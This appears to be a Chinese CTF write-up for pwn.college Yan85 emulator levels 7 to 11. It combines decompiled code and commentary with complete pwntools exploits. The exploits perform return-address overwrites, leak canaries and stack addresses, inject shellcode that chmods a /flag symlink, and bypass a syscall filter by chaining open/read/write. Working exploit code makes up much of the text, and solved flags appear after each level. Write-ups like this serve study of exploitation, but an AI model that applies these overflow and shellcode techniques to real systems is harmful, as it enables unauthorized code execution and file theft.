void __fastcall __noreturn crash ( __int64 a1 , const char * a2 )
printf ( "Machine CRASHED due to: %s \n " , a2 );
(( void ( __fastcall __noreturn * )( __int64 , __int64 )) sys_exit )( a1 , 1 LL );
至此,我们基本上已经摸清楚整个 Yan85 架构了,下面来说说这题的攻击思路。
一开始我以为是要用纯 yancode 来写 shellcode,后来发现确实要用 yancode,但并非整个 shellcode 都得用 yancode 来写。这困扰了我将近一天时间(其实也就几个小时,因为我这几天畏难摆烂,所以真正在思考的时间很少……),期间我想了尝试用 yancode 读取 flag 的各种姿势,差点放弃……因为这个先入为主的思维定势浪费了不少时间,希望下次别了。提到这个,我越发觉得需要早点入手一本纸质版的《思考,快与慢》 了。电子版着实看不下去,还是纸质版的适合我。虽然这个寒假应该不会有什么时间读……不管了,先买了再说,反正早晚得有~
嗯……我注意到 SYS_read_memory
系统调用内部进行了一些有趣的操作:
puts ( "[s] ... read_memory" );
v5 = sys_read ( a1 , a1 [ 1024 ], & a1 [ a1 [ 1025 ] + 0x 300 ] , a1 [ 1026 ]);
write_register ( a1 , BYTE2 ( a2 ), v5 );
ssize_t __fastcall sys_read ( __int64 a1 , int a2 , void * a3 , size_t a4 )
ssize_t read ( int fd , void * buf , size_t nbytes )
return read ( fd , buf , nbytes );
它把数据读到 &a1[a1[1025] + 0x300]
这个位置。我们发现 main
中的 read(0, buf, 0x300uLL);
只让我们读最高 0x300
字节到 buf
,但是这个 SYS_read_memory
却可以让我们把数据读到 buf[offset + 0x300]
处。敏感吗?熟悉吗?0x300
?这不是法外之地吗?
很幸运,我们确实可以用它来覆盖返回地址。但这里我脑子一抽又踩了一个坑,我想着把返回地址覆盖为 sys_open
函数的地址,然后发现就算我可以返回到 sys_open
又如何……
好在五分钟后我就从这个破坑里面爬出来了……我意识到应该结合 main 中的 read,把我的 shellcode 读到内存中,返回地址覆盖为我 shellcode 的起始地址,这才对嘛。
所以最后的攻击链应该是 main 中的 read 读取 yancode + shellcode,其中 yancode 负责调用 SYS_read_memory
来覆盖返回地址,返回地址我们修改为 shellcode 的起始地址,perfect.
调用 SYS_read_memory
需要用到的三个参数分别通过三个寄存器传参。a
传递文件描述符、b
传递偏移、c
传递最大读取大小。
对了,因为 buf[0x300]
到返回地址还有一段不小的距离,所以我们的 offset 直接选择三字节指令可承受的最大值 0xff
,这个随意,只是想负责的说一下以便于你可以更好的理解我的 exp。
最后,说说做完这题后的感想吧……我觉得自己在逆向工程方面的能力还是有巨大提升空间的(对的被你看出来了,我就是菜,又怎样 LOL),一定要静下心来逆向分析啊,这太重要了。讲真这题的逆向其实很简单,就是单纯畏难不想看……我也搞不懂为什么每次碰到难题都会特别的畏难,没有激情,艹我可不能只会擅长的东西啊……动态调试能力与之前相比倒是提升了很多,真棒~
再分享一下刚做完的时候的状态 LOL
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-7-0"
HOST , PORT = "localhost" , 1337
stack_base = 0x 7FFFFFFDE000
padding_to_ret = b "" . ljust ( 0x 19 , b "A" )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
yancode = b " \x01\x04\x00 " # imm a, 0x00
yancode += b " \x08\x04\xff " # imm b, 0xff
yancode += b " \x10\x04\x21 " # imm c, 0x21
yancode += b " \x10\x40\x01 " # sys 0x02, a
yancode += b " \x04\x04\xff " # imm i, 0xff
yancode_length = len ( yancode )
shellcode += asm ( shellcraft . chmod ( "f" , 0o 4 ))
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
send_payload ( target , payload )
ret2shellcode = padding_to_ret
ret2shellcode += p64 ( stack_base + yancode_length )
target . sendlineafter ( b "... read_memory" , ret2shellcode )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
if attack ( target , payload ):
stack_base = stack_base + 0x 8
log . exception ( f "An error occurred in main: { e } " )
elapsed_time = end_time - start_time
log . success ( f "Total elapsed time: { elapsed_time :.2f } seconds." )
if __name__ == "__main__" :
Flag: pwn.college{4KYvwTY0ajVZJykveF7xtOj0Kfc.0VMzMDL5cTNxgzW}
Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!
逆向分析我们发现这题把 opcode 都改掉了,所以我们还得先重新确认各指令的 opcode 才行。之后的话思路和上题差不多了,不过栈地址我这次不打算爆破。write
可以从栈中泄漏出来一点栈地址之类的,以它为基,减去 shellcode 的偏移,得到 shellcode 的地址。
嗯,再推荐一个 IDA Plugin,叫 syms2elf 。它可以导出带符号表的 ELF 文件,对于那些 stripped,分析起来困难的二进制文件,有了这个插件不要太爽。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-7-1"
HOST , PORT = "localhost" , 1337
padding_to_ret = b "" . ljust ( 0x 19 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
# stage 1: leak stack base address
yancode = b " \x04\x80\x01 " # imm a, 0x01
yancode += b " \x10\x80\xff " # imm b, 0xff
yancode += b " \x02\x80\x31 " # imm c, 0x31
yancode += b " \x10\x02\x04 " # sys 0x10, a
# stage 2: overwrite return address
yancode += b " \x04\x80\x00 " # imm a, 0x00
yancode += b " \x10\x80\xff " # imm b, 0xff
yancode += b " \x02\x80\x21 " # imm c, 0x21
yancode += b " \x02\x02\x04 " # sys 0x02, a
yancode += b " \x20\x80\xff " # imm i, 0xff
shellcode += asm ( shellcraft . chmod ( "f" , 0o 4 ))
leaked_stack_base = response [ - 8 :]
log . debug ( leaked_stack_base . decode ( "utf-8" , errors = "ignore" ))
log . success ( f "Leaked stack base address: { to_hex_bytes ( leaked_stack_base ) } " )
return int . from_bytes ( leaked_stack_base , "little" )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
send_payload ( target , payload )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
stack_base = leak_data ( response )
ret2shellcode = padding_to_ret
ret2shellcode += p64 ( stack_base - shellcode_offset )
send_payload ( target , ret2shellcode )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{8GNqGB_LW-iRUy4il8m7fn0YMK5.0lMzMDL5cTNxgzW}
Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.
啊,就是同时泄漏栈地址和 canary 地址呗,没啥好讲的。自己逆向分析 yancode 的操作码。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-8-0"
HOST , PORT = "localhost" , 1337
padding_to_canary = b "" . ljust ( 0x 9 , b "A" )
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
# stage 1: leak stack base address
yancode = b " \x01\x04\x01 " # imm a, 0x01
yancode += b " \xff\x40\x01 " # imm b, 0xff
yancode += b " \x2f\x02\x01 " # imm c, 0x2f
yancode += b " \x04\x10\x08 " # sys 0x10, a
# stage 2: overwrite return address
yancode += b " \x00\x04\x01 " # imm a, 0x00
yancode += b " \xff\x40\x01 " # imm b, 0xff
yancode += b " \x21\x02\x01 " # imm c, 0x21
yancode += b " \x04\x02\x08 " # sys 0x02, a
yancode += b " \xff\x20\x01 " # imm i, 0xff
shellcode += asm ( shellcraft . chmod ( "f" , 0o 4 ))
leaked_canary = response [ - 0x 26 : - 0x 1E ]
leaked_stack_base = response [ - 0x 6 :]
log . success ( f "Leaked canary: { to_hex_bytes ( leaked_canary ) } " )
log . success ( f "Leaked stack base address: { to_hex_bytes ( leaked_stack_base ) } " )
int . from_bytes ( leaked_canary , "little" ),
int . from_bytes ( leaked_stack_base , "little" ),
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
send_payload ( target , payload )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
target . recvuntil ( b "... write" )
response = target . recv ( 0x 30 )
canary , stack_base = leak_data ( response )
ret2shellcode = padding_to_canary
ret2shellcode += p64 ( canary )
ret2shellcode += padding_to_ret
ret2shellcode += p64 ( stack_base - shellcode_offset )
send_payload ( target , ret2shellcode )
response = target . recvall ( timeout = 3 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{wRfuRyCMy3WESGVx2pkEv3pQiJA.01MzMDL5cTNxgzW}
Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.
参见 Level 8.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-8-1"
HOST , PORT = "localhost" , 1337
padding_to_canary = b "" . ljust ( 0x 9 , b "A" )
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
# stage 1: leak stack base address
yancode = b " \x01\x40\x20 " # imm a, 0x01
yancode += b " \xff\x40\x08 " # imm b, 0xff
yancode += b " \x2f\x40\x10 " # imm c, 0x2f
yancode += b " \x01\x80\x01 " # sys 0x01, d
# stage 2: overwrite return address
yancode += b " \x00\x40\x20 " # imm a, 0x00
yancode += b " \xff\x40\x08 " # imm b, 0xff
yancode += b " \x21\x40\x10 " # imm c, 0x21
yancode += b " \x20\x80\x04 " # sys 0x02, a
yancode += b " \xff\x40\x40 " # imm i, 0xff
shellcode += asm ( shellcraft . chmod ( "f" , 0o 4 ))
leaked_canary = response [ - 0x 26 : - 0x 1E ]
leaked_stack_base = response [ - 0x 6 :]
log . success ( f "Leaked canary: { to_hex_bytes ( leaked_canary ) } " )
log . success ( f "Leaked stack base address: { to_hex_bytes ( leaked_stack_base ) } " )
int . from_bytes ( leaked_canary , "little" ),
int . from_bytes ( leaked_stack_base , "little" ),
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
send_payload ( target , payload )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
canary , stack_base = leak_data ( response )
ret2shellcode = padding_to_canary
ret2shellcode += p64 ( canary )
ret2shellcode += padding_to_ret
ret2shellcode += p64 ( stack_base - shellcode_offset )
send_payload ( target , ret2shellcode )
response = target . recvall ( timeout = 3 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{IX1KO9KJhczkci-cjl7VXfsQ-Qw.0FNzMDL5cTNxgzW}
Provide your own Yan85 shellcode! This time, it’s filtered.
int __fastcall __noreturn main ( int argc , const char ** argv , const char ** envp )
int v3 ; // [rsp+18h] [rbp-418h]
int i ; // [rsp+1Ch] [rbp-414h]
_BYTE v5 [ 1024 ]; // [rsp+20h] [rbp-410h] BYREF
int v6 ; // [rsp+420h] [rbp-10h]
__int16 v7 ; // [rsp+424h] [rbp-Ch]
char v8 ; // [rsp+426h] [rbp-Ah]
unsigned __int64 v9 ; // [rsp+428h] [rbp-8h]
v9 = __readfsqword ( 0x 28 u );
printf ( "[+] Welcome to %s! \n " , * argv );
puts ( "[+] This challenge is an custom emulator. It emulates a completely custom" );
puts ( "[+] architecture that we call \" Yan85 \" ! You'll have to understand the" );
puts ( "[+] emulator to understand the architecture, and you'll have to understand" );
puts ( "[+] the architecture to understand the code being emulated, and you will" );
puts ( "[+] have to understand that code to get the flag. Good luck!" );
puts ( "[+] This level is a full Yan85 emulator. You'll have to reason about yancode," );
puts ( "[+] and the implications of how the emulator interprets it!" );
setvbuf ( _bss_start , 0 LL , 2 , 1 uLL );
memset ( v5 , 0 , sizeof ( v5 ));
printf ( "[!] This time, YOU'RE in control! Please input your yancode: " );
read ( 0 , & v5 [ 256 ], 0x 300 uLL );
puts ( "[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!" );
for ( i = 0 ; i <= 255 ; ++ i )
if ( ( v5 [ 3 * i + 256 ] & 4 ) != 0 )
__assert_fail ( "num_syscalls <= 1" , "/challenge/toddlerone-level-9-0.c" , 0x 1BA u , "main" );
puts ( "[+] This might seem impossible, but this challenge makes one memory error that will allow you" );
puts ( "[+] to execute the system calls you need. The error is what's known as an *intra-frame* overflow:" );
puts ( "[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic" );
puts ( "[+] of the emulator!" );
puts ( "[+] This is a *teaching* challenge, which means that it will output" );
puts ( "[+] a trace of the Yan85 code as it processes it. The output is here" );
puts ( "[+] for you to understand what the challenge is doing, and you should use" );
puts ( "[+] it as a guide to help with your reversing of the code." );
这题把 orw
系统调用都开放了,所以我们可以考虑能不能直接通过 orw
拿 flag。main 逻辑是把我们的输入数据读到 &v5[256]
处,然后绿色部分是一个 filter,负责判断 256 组三字节指令是否包含 syscall 的 opcode,包含则增加 v3
,v3 > 1
则断言失败。所以简单来说就是我们输入的数据最多只能使用一个 syscall。
好办,我们知道 interpreter_loop(v5)
会不断读取并执行下一条指令:
void __fastcall __noreturn interpreter_loop ( __int64 a1 )
unsigned __int8 v1 ; // al
v1 = * ( _BYTE * )( a1 + 1029 );
* ( _BYTE * )( a1 + 1029 ) = v1 + 1 ;
* ( unsigned __int16 * )( a1 + 3 LL * v1 + 256 ) | (( unsigned __int64 ) * ( unsigned __int8 * )( a1 + 3 LL * v1 + 258 ) << 16 ));
如果我们先提供一个 read
syscall,把我们的 shellcode 读到 &v5[255]
处,是不是绕过了 filter?而之后因为 rip
一直在改变,我们是不是需要填充一些垃圾值占位那些我们执行过的指令?在此之后就是我们当前的 rip
了,在这里写 shellcode,是不是就接着执行了?
妙哉,开撸!
话说为什么我每次一有思路的时候就正好播放《雾里》 了?好的,单曲循环直到打通 LMAO
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-9-0"
HOST , PORT = "localhost" , 1337
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( stage ):
# read the shellcode to where is out of the filter's range
yancode = b " \x80\x08\x00 " # imm a, 0x00
yancode += b " \x80\x02\xff " # imm b, 0xff
yancode += b " \x80\x01\xff " # imm c, 0xff
yancode += b " \x04\x10\x08 " # sys 0x10, a
# construct "/flag" string
yancode += b " \x80\x08\x00 " # imm a, 0x00
yancode += b " \x80\x02\x2f " # imm b, 0x2f
yancode += b " \x40\x08\x02 " # stm a, b
yancode += b " \x80\x08\x01 " # imm a, 0x01
yancode += b " \x80\x02\x66 " # imm b, 0x66
yancode += b " \x40\x08\x02 " # stm a, b
yancode += b " \x80\x08\x02 " # imm a, 0x02
yancode += b " \x80\x02\x6c " # imm b, 0x6c
yancode += b " \x40\x08\x02 " # stm a, b
yancode += b " \x80\x08\x03 " # imm a, 0x03
yancode += b " \x80\x02\x61 " # imm b, 0x61
yancode += b " \x40\x08\x02 " # stm a, b
yancode += b " \x80\x08\x04 " # imm a, 0x04
yancode += b " \x80\x02\x67 " # imm b, 0x67
yancode += b " \x40\x08\x02 " # stm a, b
yancode += b " \x80\x08\x00 " # imm a, 0x00
yancode += b " \x80\x02\x00 " # imm b, 0x00
yancode += b " \x04\x01\x08 " # sys 0x01, a
yancode += b " \x80\x02\x08 " # imm b, 0x08
yancode += b " \x80\x01\xff " # imm c, 0xff
yancode += b " \x04\x10\x08 " # sys 0x10, a
yancode += b " \x80\x08\x01 " # imm a, 0x01
yancode += b " \x04\x08\x08 " # sys 0x08 a
log . error ( "Invalid stage number." )
def extract_flag ( target ):
target . recvuntil ( b "pwn.college{" )
log . success ( f "pwn.college {{{ flag . decode ( "utf-8" ) } " )
log . exception ( f "An error occurred while extracting flag: { e } " )
def attack ( target , payload ):
send_payload ( target , payload )
payload = construct_payload ( 2 )
send_payload ( target , payload )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ( 1 )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{UDbugZTc3krZyqHikNYIwlOG2I2.0VNzMDL5cTNxgzW}
Provide your own Yan85 shellcode! This time, it’s filtered.
参见 Level 9.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-9-1"
HOST , PORT = "localhost" , 1337
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
def construct_payload ( stage ):
# read the shellcode to where is out of the filter's range
yancode = b " \x00\x02\x80 " # imm a, 0x00
yancode += b " \xff\x20\x80 " # imm b, 0xff
yancode += b " \xff\x04\x80 " # imm c, 0xff
yancode += b " \x02\x02\x10 " # sys 0x02, a
# construct "/flag" string
yancode += b " \x00\x02\x80 " # imm a, 0x00
yancode += b " \x2f\x20\x80 " # imm b, 0x2f
yancode += b " \x20\x02\x04 " # stm a, b
yancode += b " \x01\x02\x80 " # imm a, 0x01
yancode += b " \x66\x20\x80 " # imm b, 0x66
yancode += b " \x20\x02\x04 " # stm a, b
yancode += b " \x02\x02\x80 " # imm a, 0x02
yancode += b " \x6c\x20\x80 " # imm b, 0x6c
yancode += b " \x20\x02\x04 " # stm a, b
yancode += b " \x03\x02\x80 " # imm a, 0x03
yancode += b " \x61\x20\x80 " # imm b, 0x61
yancode += b " \x20\x02\x04 " # stm a, b
yancode += b " \x04\x02\x80 " # imm a, 0x04
yancode += b " \x67\x20\x80 " # imm b, 0x67
yancode += b " \x20\x02\x04 " # stm a, b
yancode += b " \x00\x02\x80 " # imm a, 0x00
yancode += b " \x00\x20\x80 " # imm b, 0x00
yancode += b " \x02\x20\x10 " # sys 0x20, a
yancode += b " \x08\x20\x80 " # imm b, 0x08
yancode += b " \xff\x04\x80 " # imm c, 0xff
yancode += b " \x02\x02\x10 " # sys 0x02, a
yancode += b " \x01\x02\x80 " # imm a, 0x01
yancode += b " \x02\x01\x10 " # sys 0x01 a
log . error ( "Invalid stage number." )
def extract_flag ( target ):
target . recvuntil ( b "pwn.college{" )
log . success ( f "pwn.college {{{ flag . decode ( "utf-8" ) } " )
log . exception ( f "An error occurred while extracting flag: { e } " )
def attack ( target , payload ):
send_payload ( target , payload )
payload = construct_payload ( 2 )
send_payload ( target , payload )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ( 1 )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{kV-lC4_vz8LW0vUOLmZ5sKafrjA.0lNzMDL5cTNxgzW}
The ultimate Yan85 challenge. Provide your own Yan85 shellcode.
这题解法很巧妙,我们不能像 Level 9 一样绕过 filter。但是注意观察 interpret_sys
的实现,我们发现,里面每一个 if
语句无论成立与否都会继续判断下一条 if
:
int __fastcall interpret_sys ( unsigned __int8 * a1 , int a2 )
unsigned __int8 v3 ; // al
unsigned __int64 v4 ; // rax
unsigned __int8 v5 ; // al
unsigned __int64 v6 ; // rax
unsigned __int8 v7 ; // al
unsigned __int8 v8 ; // al
v2 = ( const char * ) describe_register ( BYTE2 ( a2 ));
printf ( "[s] SYS %#hhx %s \n " , BYTE1 ( a2 ), v2 );
v3 = sys_open ( a1 , & a1 [ a1 [ 1024 ] + 768 ], a1 [ 1025 ], a1 [ 1026 ]);
write_register ( a1 , BYTE2 ( a2 ), v3 );
if ( ( a2 & 0x 2000 ) != 0 )
crash ( a1 , "Disallowed system call: SYS_READ_CODE" );
if ( ( a2 & 0x 1000 ) != 0 )
puts ( "[s] ... read_memory" );
if ( 256 - a1 [ 1025 ] <= v4 )
v5 = sys_read ( a1 , a1 [ 1024 ], & a1 [ a1 [ 1025 ] + 768 ], ( unsigned __int8 ) v4 );
write_register ( a1 , BYTE2 ( a2 ), v5 );
if ( 256 - a1 [ 1025 ] <= v6 )
v7 = sys_write ( a1 , a1 [ 1024 ], & a1 [ a1 [ 1025 ] + 768 ], ( unsigned __int8 ) v6 );
write_register ( a1 , BYTE2 ( a2 ), v7 );
v8 = sys_sleep ( a1 , a1 [ 1024 ]);
write_register ( a1 , BYTE2 ( a2 ), v8 );
v10 = ( unsigned __int8 ) read_register ( a1 , BYTE2 ( a2 ));
v11 = ( const char * ) describe_register ( BYTE2 ( a2 ));
return printf ( "[s] ... return value (in register %s): %#hhx \n " , v11 , v10 );
Sooooooo,我们把 orw
串起来就好了,实现用一条指令调用多个 syscall!
yancode = b " \x01\x02\x00 " # imm a, 0x00
yancode += b " \x01\x40\x66 " # imm b, 0x66
yancode += b " \x20\x02\x40 " # stm a, b
yancode += b " \x01\x40\x00 " # imm b, 0x00
yancode += b " \x01\x10\xff " # imm c, 0xff
yancode += b " \x80\x13\x02 " # orw
def save_shellcode_to_file ( filename ):
payload = construct_payload ()
with open ( filename , "wb" ) as f :
log . exception ( f "An error occurred while saving shellcode to file: { e } " )
os . system ( "ln -s /flag f" )
save_shellcode_to_file ( "shellcode" )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
令我感到奇怪的是 exp 中使用 os.dup2(1, 57)
并不能将 fd 57
redirect 到 stdout
。但是将 shellcode 写到文件中,再将其作为 stdin 传给程序,并重定向 fd 57
到 stdout 就可以。
./toddlerone-level-10-0 < shellcode 57> & 1 > output
Flag: pwn.college{c8a_GFOYLKgE8O8i-6oZxhhzxgi.01NzMDL5cTNxgzW}
The ultimate Yan85 challenge. Provide your own Yan85 shellcode.
参见 Level 10.0 。
yancode = b " \x40\x10\x00 " # imm a, 0x00
yancode += b " \x40\x20\x66 " # imm b, 0x66
yancode += b " \x04\x10\x20 " # stm a, b
yancode += b " \x40\x20\x00 " # imm b, 0x00
yancode += b " \x40\x04\xff " # imm c, 0xff
yancode += b " \x02\x2a\x10 " # orw
def save_shellcode_to_file ( filename ):
payload = construct_payload ()
with open ( filename , "wb" ) as f :
log . exception ( f "An error occurred while saving shellcode to file: { e } " )
os . system ( "ln -s /flag f" )
save_shellcode_to_file ( "shellcode" )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{oWpBceTnbTClQqRYa8nwc5Pi1b9.0FOzMDL5cTNxgzW}
Level 10 做完也是直接从第七杀入前三了 LOL
The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!
终于到了传说中的 JIT (Just-in-time compilation) ,也是本章节最后的 BOSS! 之前看这一章讲义的时候就觉得这是一个很高端的东西。是的,我懂,我懂,又是一道令我仰望的题(其实当时看讲义觉得利用应该也没那么难,只是概念对我来说比较新,因为是第一次接触吧。这种情境仿佛一夜之间世界从蒸汽时代飞跃至信息化巅峰,众人皆已驾驭现代科技,我却恍如沉醉于旧工业的残梦未醒……忽而惊觉,恍若隔世,徒留错愕于时代洪流之中…… )……Brain 以自动为您触发被动 skill 畏难 :skull:
话不多说,直接开干!迎面袭来的,是刺鼻的恶臭,嗅……嗯,纯正的,错不了,是逆向分析!/丧中没有一丝燃,好熟悉……
通常这种硬核难题都是,熬过最折磨人的逆向阶段后,神挡杀神、佛挡杀佛,最好如此。/某人试图自我打气
你熟悉又陌生的 main 姑娘:
int __fastcall main ( int argc , const char ** argv , const char ** envp )
__int64 v4 ; // [rsp+18h] [rbp-2818h]
_BYTE s [ 2064 ]; // [rsp+20h] [rbp-2810h] BYREF
void * addr ; // [rsp+2020h] [rbp-810h]
unsigned __int64 v7 ; // [rsp+2828h] [rbp-8h]
v7 = __readfsqword ( 0x 28 u );
printf ( "[+] Welcome to %s! \n " , * argv );
puts ( "[+] This challenge is an custom emulator. It emulates a completely custom" );
puts ( "[+] architecture that we call \" Yan85 \" ! You'll have to understand the" );
puts ( "[+] emulator to understand the architecture, and you'll have to understand" );
puts ( "[+] the architecture to understand the code being emulated, and you will" );
puts ( "[+] have to understand that code to get the flag. Good luck!" );
puts ( "[+] This level is a full Yan85 emulator. You'll have to reason about yancode," );
puts ( "[+] and the implications of how the emulator interprets it!" );
puts ( "[X] Arizona State University is proud to present a NEW version of Yan85:" );
puts ( "[X] Yan85_64! This is a beta preview of the cutting-edge technology, armed" );
puts ( "[X] with the latest in security mitigations. Hopefully, we didn't forget to" );
puts ( "[X] check all the memory accesses properly, though you never know...." );
setvbuf ( _bss_start , 0 LL , 2 , 1 uLL );
printf ( "[!] This time, YOU'RE in control! Please input your yancode: " );
puts ( "[+] This is a *teaching* challenge, which means that it will output" );
puts ( "[+] a trace of the Yan85 code as it processes it. The output is here" );
puts ( "[+] for you to understand what the challenge is doing, and you should use" );
puts ( "[+] it as a guide to help with your reversing of the code." );
addr = mmap (( void * ) 0x 1337000 , 0x 1000 uLL , 7 , 34 , 0 , 0 LL );
if ( mprotect ( addr , 0x 1000 uLL , 5 ) )
"mprotect(state.compiled_code, 0x1000, PROT_READ|PROT_EXEC) == 0" ,
"/challenge/toddlerone-level-11-0.c" ,
puts ( "[!] Your yancode has been JITed! The result is the following x86_64 code:" );
print_disassembly ( addr , v4 - ( _QWORD ) addr );
(( void ( * )( void )) addr )();
注意到 read
可以造成栈溢出,暂时不知道有没有用,先记录一下。
mmap
在 0x1337000
分配了 0x1000
bytes 的 rwx
空间,通过后续的分析我们知道这个地址是用来存放编译后代码的。
之后进入了 emit_program(s)
。返回后移除了编译后代码处的写权限,调用 print_disassembly(addr, v4 - (_QWORD)addr)
输出编译后的机器码及其反汇编,最后通过 ((void (*)(void))addr)()
执行编译后代码。
_BYTE * __fastcall emit_program ( __int64 a1 )
int i ; // [rsp+14h] [rbp-Ch]
_BYTE * v11 ; // [rsp+18h] [rbp-8h]
_QWORD * v12 ; // [rsp+18h] [rbp-8h]
_BYTE * v13 ; // [rsp+18h] [rbp-8h]
v11 = * ( _BYTE ** )( a1 + 0x 2000 );
puts ( "[e] emitting initialization code" );
v1 = helper_mov_imm ( a1 , v11 , 32 LL , 0 LL );
v2 = helper_mov_imm ( a1 , v1 , 64 LL , 0 LL );
v3 = helper_mov_imm ( a1 , v2 , 16 LL , 0 LL );
v4 = helper_mov_imm ( a1 , v3 , 8 LL , 0 LL );
v5 = helper_mov_imm ( a1 , v4 , 4 LL , 0 LL );
v6 = helper_mov_imm ( a1 , v5 , 2 LL , 0 LL );
v12 = helper_mov_imm ( a1 , v6 , 1 LL , 0 LL );
for ( i = 0 ; i <= 255 ; ++ i )
* ( _QWORD * )( a1 + 8 * ( i + 1024 LL ) + 8 ) = ( char * ) v12 - * ( _QWORD * )( a1 + 0x 2000 );
printf ( "[e] instruction %d to %p (offset %#x from base) \n " , i , v12 , * ( _QWORD * )( a1 + 8 * ( i + 1024 LL ) + 8 ));
v12 = ( _QWORD * ) emit_instruction (
* ( _QWORD * )( a1 + 24 LL * i ),
* ( _QWORD * )( a1 + 24 LL * i + 8 ),
* ( _QWORD * )( a1 + 24 LL * i + 16 ));
printf ( "[e] compiled %d instructions! \n " , i );
return emit_end ( a1 , v12 );
v11 = *(_BYTE **)(a1 + 0x2000)
的作用是取编译后代码的起始地址 (_BYTE *
)。
emitting initialization code 后的七个 helper_mov_imm
负责初始化一些寄存器的值。深入其内部我们知道,这个函数的作用就是负责将我们输入的 imm
的 yancode 翻译为 amd64 中的 movabs
指令的机器码:
_QWORD * __fastcall helper_mov_imm ( __int64 a1 , _BYTE * a2 , __int64 a3 , __int64 a4 )
_QWORD * v5 ; // [rsp+10h] [rbp-10h]
crash ( a1 , "Unknown register in emit_imm" );
通过观察运行结果我们知道这七条指令分别对应了:
